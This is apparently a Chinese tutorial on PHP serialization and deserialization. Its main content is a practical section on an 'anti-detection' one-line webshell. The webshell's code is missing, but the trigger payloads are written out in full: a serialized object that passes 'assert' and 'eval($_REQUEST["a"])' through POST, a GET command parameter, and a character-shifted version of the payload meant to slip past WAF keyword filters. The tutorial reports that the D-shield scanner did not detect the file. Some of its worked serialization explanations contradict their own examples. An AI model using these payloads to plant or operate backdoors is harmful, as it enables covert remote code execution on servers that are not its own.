PHP反序列化免杀waf软件
一些需要的基础、理论知识
序列化
序列化:把复杂的数据类型压缩到一个字符串中。这里面的数据类型可以是数组、字符串、对象等,
函数:serialize()
例1:
1 |
|
以上这串php代码就是一个序列化的过程,其运行结果为:
1 | a:3:{i:0;s:2:"a1";i:1;s:3:"ba2";i:2;s:4:"c3ac";} |
一般输出结果的各个字符有着这些意义:
o表示对象,a表示数组,s表示字符,i表示数字
而在我们的例1中:
a:3 表示有三个数组
i:0表示第一个数组,s:2:”a1”表示第一个数组是字符,2表示有两个字符(“a1”)
i:1,表示第二个数组,s:3:”tt2”,表示第二个数组是字符,3表示有三个字符(”ba2”)
i:2,表示第三个数组,s:4:”ttt3”,表示第三个数组是字符,4表示有三个字符,为”c3ac”
那么序列化有什么用途呢?
它有着以下的用途:
①数据持久化:通过将session对象(也可以是其他,这里举session对象为例)序列化到硬盘中,需要时在进行反序列化,从而减少内存的压力。
②网络传输:将系统拆分成多个服务,服务之间传输的对象不管是哪种数据类型,都需要转换成二进制流来传输,接收方收到这串二进制流后再转为数据对象。
反序列化
反序列化就是将原本序列化的变量进行恢复
函数:unserialize()
例2:
1 |
|
在例2里面,我们先对sites进行序列化,得到以下这串字符:
1 | s:4:"abcd"; |
然后我们再通过反序列化(unserialize())将这串字符还原,就得到一开始的sites(abcd)
一些常用的魔法函数
__construct()当一个对象创建时被调用,但在unserialize()时是不会自动调用的。
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后
实战
1 |
|
这是一个免杀的一句话木马
它的原理就是我们之前所讲的序列化和反序列化,通过将POST传进去的序列化后的字符串反序列化从而达成绕过效果。
POST传入
1 | waf=O:1:"A":2:{s:4:"name";s:6:"assert";s:2:"mm";s:20:"eval($_REQUEST["a"])";} |
GET传入:
1 | a=phpinfo(); |
实际效果:
将写好的代码放进www目录下,并使用d盾进行扫描
并没有显示报错(我们的代码名叫test1.php)
尝试在页面打开phpinfo()
然后查看D盾是否有报错
并没有任何拦截报错的显示
其他
听说现在的一些waf对这种传入的值会进行判断,如果含有eval这种特殊字符则会自动拦截,同时现在的waf还自带base64的解密功能,因此我们对这个脚本传入的post参数进行加密
1 | function encryption($str){ |
参数:
1 | waf=P:1:"B":2:{t:4:"obnf";t:6:"bttfsu";t:2:"nn";t:20:"fwbm($_SFRVFTU["b"])";} |